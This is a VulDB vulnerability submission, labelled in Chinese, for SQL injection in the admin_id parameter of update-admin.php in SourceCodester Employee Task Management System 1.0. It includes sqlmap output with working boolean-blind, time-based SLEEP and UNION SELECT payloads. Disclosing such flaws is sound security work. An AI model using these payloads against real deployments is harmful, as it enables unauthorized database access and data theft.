| 标题 | SourceCodester Employee Task Management System v 1.0 SQL Injection in param update-admin.php?admin_id= |
|---|
| 描述 | SQL injection in admin_id parameter at
/update-admin.php?admin_id=
[20:03:10] [INFO] GET parameter 'admin_id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'admin_id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:
---
Parameter: admin_id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: admin_id=1' AND 4823=4823 AND 'fHuK'='fHuK
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: admin_id=1' AND (SELECT 2812 FROM (SELECT(SLEEP(5)))yoFD) AND 'eLUj'='eLUj
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: admin_id=-5229' UNION ALL SELECT CONCAT(0x7170716271,0x684d74644f51547249684d4d6a4c52687374496a74464b7a64634664425751574f56575873794e50,0x7176707071),NULL,NULL,NULL,NULL,NULL,NULL-- - |
|---|
| 来源 | ⚠️ https://github.com/tht1997/WhiteBox/blob/main/sourcecodester/employee-management-system-php.md |
|---|
| 用户 | huutuanbg97 (UID 45015) |
|---|
| 提交 | 2024-03-15 14時13分 (3 年前) |
|---|
| 管理 | 2024-03-16 07時14分 (17 hours later) |
|---|
| 状态 | 重复 |
|---|
| VulDB条目 | 257054 [SourceCodester Employee Task Management System 1.0 update-admin.php admin_id SQL注入] |
|---|
| 积分 | 0 |
|---|